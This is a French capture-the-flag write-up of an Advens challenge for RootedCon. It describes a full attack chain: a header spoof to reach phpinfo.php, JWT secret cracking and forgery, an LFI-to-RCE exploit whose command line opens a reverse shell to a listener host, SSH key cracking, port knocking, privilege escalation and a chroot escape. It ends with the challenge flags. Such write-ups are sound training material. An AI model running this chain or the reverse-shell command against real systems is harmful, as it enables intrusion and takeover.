Writeup – RootedCon CTF By Advens

Cette année, Advens propose un challenge pour la RootedCon. Mes collègues me l’ont envoyé en avance afin de le tester.

Au moment où j’ai reçu le challenge l’énoncé était clair : voici l’ip. Je commence donc par une première phase d’analyse de l’application pour voir ce qui est proposé.

Reconnaissance :

L’application propose un formulaire d’enregistrement / connexion. Un captcha est présent, celui-ci est suffisamment robuste pour ne pas faire partie du challenge. Je crée donc un compte utilisateur pour accéder à l’application.

Interface d’authentification

J’arrive ensuite sur une interface utilisateur qui permet de visualiser des pochettes de comics et de voter pour notre préféré.

Interface principale

Un message de l’administrateur indique qu’aucun bruteforce n’est nécessaire.

Message de l’administrateur

En regardant bien le code source de l’application, je repère la présence d’un lien commenté.

Lien commenté

Celui-ci permet d’accéder à l’interface « admin ». Cependant, celle-ci nécessite une authentification.

Enfin, une page « phpinfo.php » semble accessible, mais restreinte à une IP spécifique.

Interface PHPInfo.php

L’accès à cette interface peut se faire en ajoutant un header « X-Forwarded-For ».

J’obtiens donc un accès à l’interface phpinfo.php.

Accès PHPInfo.php

Accès admin

Une fois authentifié en simple utilisateur, je reçois un cookie de session contenant un JWT. Après analyse dans jwt.io, je constate que le JWT est chiffré de manière symétrique à l’aide d’un mot de passe.

JWT

Celui-ci contient une date d’expiration et un nom d’utilisateur.

Recherche de la clef

Pour obtenir la clef j’utilise l’outil JWT-Cracker.

Obtention du mot de passe

Je peux alors forger un nouveau JWT en modifiant le nom d’utilisateur par « admin » et ainsi obtenir un accès sur l’interface.

Reverse Shell

L’interface d’administration propose de modifier les informations sur les éléments affichés sur l’interface principale et de consulter un fichier de logs.

Pour cela, une requête POST est envoyé contenant un paramètre « file ».

Requête

Remplacer « logs.txt » par une valeur vide permet de mettre en évidence une vulnérabilité LFI.

Mise en évidence de la LFI

Cependant, un filtre est présent sur le paramètre file et remplace l’ensemble des « / » par une chaine vide. Après avoir tenté de nombreux encodage j’abandonne cette technique.

À ce moment-là un état des lieux s’impose :

  • LFI permettant de lire un fichier dans /tmp
  • Accès PHPInfo

À partir de ces accès, un scénario de compromission existe : LFI2RCE via PHPInfo


En résumé, la page phpinfo peut être utilisée pour envoyer un fichier qui sera stocké de manière temporaire dans /tmp juste le temps que le serveur se rende compte qu’il n’a pas besoin du fichier et le supprime.
Ainsi si en parallèle, il est possible de contacter ce fichier via une autre vulnérabilité celui-ci peut être exécuté.

Et c’est pile le cas dans lequel nous sommes !

Il existe plusieurs codes d’exploitation pour cette vulnérabilité, cependant aucun d’entre eux ne prend en compte le scénario proposé, il faudra alors modifier l’exploit pour le rendre compatible avec le challenge.

https://github.com/takabaya-shi/LFI2RCE ; 

https://github.com/roughiz/lfito_rce
Modification de l’exploit
python lfito_rce.py --payload 1 -l 'http://164.90.211.116:8000/marvel-admin.php' --lhost remoteserver --lport 1234 -i 'http://164.90.211.116:8000/phpinfo.php' -t 1
Exploit

Pour le débug, j’utilise un proxy Burp pour l’ensemble des requêtes afin de voir l’exécution pas à pas.

Mise en évidence du succès de l’exploitation.

Une fois l’exploit passé, j’obtiens un shell.

Shell obtenu

Je dispose des droits de l’utilisateur « www-data »

Privilèges

Le flag de cette partie peut être obtenu dans le fichier functions.php

Obtention du second flag

Privesc

À partir du shell obtenu, je peux me balader sur le système. Je découvre alors un fichier clef ssh.

Découverte du fichier clef ssh
Clef ssh

Ainsi qu’un message dans /tmp/notes.txt

Message

Je comprends alors que la clef ssh appartient à l’utilisateur « drstrange » et qu’il s’agit de la prochaine étape du challenge.

Cette clef est protégée par une passphrase, pour l’obtenir, il existe un script « ssh2john.py » qui permet de convertir la clef vers un format « exploitable » par John the ripper.

Utilisation de johntheripper

Dans les versions présentes dans les dépôts des différentes distributions, john est incapable d’attaquer la clef proposée. Il faut utiliser la version présente sur le github du projet (je vous passe l’étape du ./configure && make )

Une fois recompilé, j’envoie rockyou.txt et j’attends mon mot de passe.

Obtention du mot de passe

J’obtiens alors un accès sur une interface SSH, mais celle-ci n’est pas interactive.

Accès shell

Le message affiché laisse entendre qu’il va falloir faire du port knocking sur différents ports :

Découverte du message caché
Message

Pour cela, le binaire « knockd » peut être utilisé :

Utilisation de knockd

Puis il suffit de se connecter sur le port 2222 :

J’obtiens un accès utilisateur, une rapide recherche des droits permettent de repérer l’utilisation d’un GTFOBin :

Découverte d’une élévation de privilège
Exploitation de la vulnérabilité

J’obtiens ainsi un accès root sur le serveur.

Got root ?

Le flag récupérable à la racine indique que je n’ai pas encore les droits maximums sur la machine.

Le flag indique qu’il reste une étape

Un utilisateur root qui n’est pas root sur sa machine ? peut être un chroot !

Le fichier .bashrc trahis en effet l’utilisation de ce procédé.

Mise en évidence du chroot

Pour sortir de cet environnement cloisonné, j’utilise chw00t. La machine distante ne disposant pas de binaires permettant de télécharger du contenu, et la connexion SCP étant peu stable à cause du port knocking j’ai décidé de compiler le binaire sur ma machine, de l’encoder en base64, copier / coller et de le décoder sur la machine cilbe.

Such h4ck3r sk1ll
Exploitation de la vulnérabilité
Véritable Flag

Conclusion

Ce challenge m’a permis de jouer avec la vulnérabilité lfi2rce via phpinfo et de découvrir l’outil chw00t. Ayant fait ce challenge en dehors de la compétition, je ne peux pas parler de celle-ci.

Un grand merci à mes collègues espagnols de m’avoir envoyé ce challenge.

Flags :

ADVENS{w17h_GR347_p0w3R_C0m35_GR347_r35P0N5181l17y}
ADVENS{7h3_0N3_4nd_0NLY}
FLAG{DRSr4nG3_RUl3s}
FAKE_FLAG{Not_The_fl4G_Y0uR_Lo0k1nG_FoR}
FLAG{yoUr3R00T}
Partager cet article

Laisser un commentaire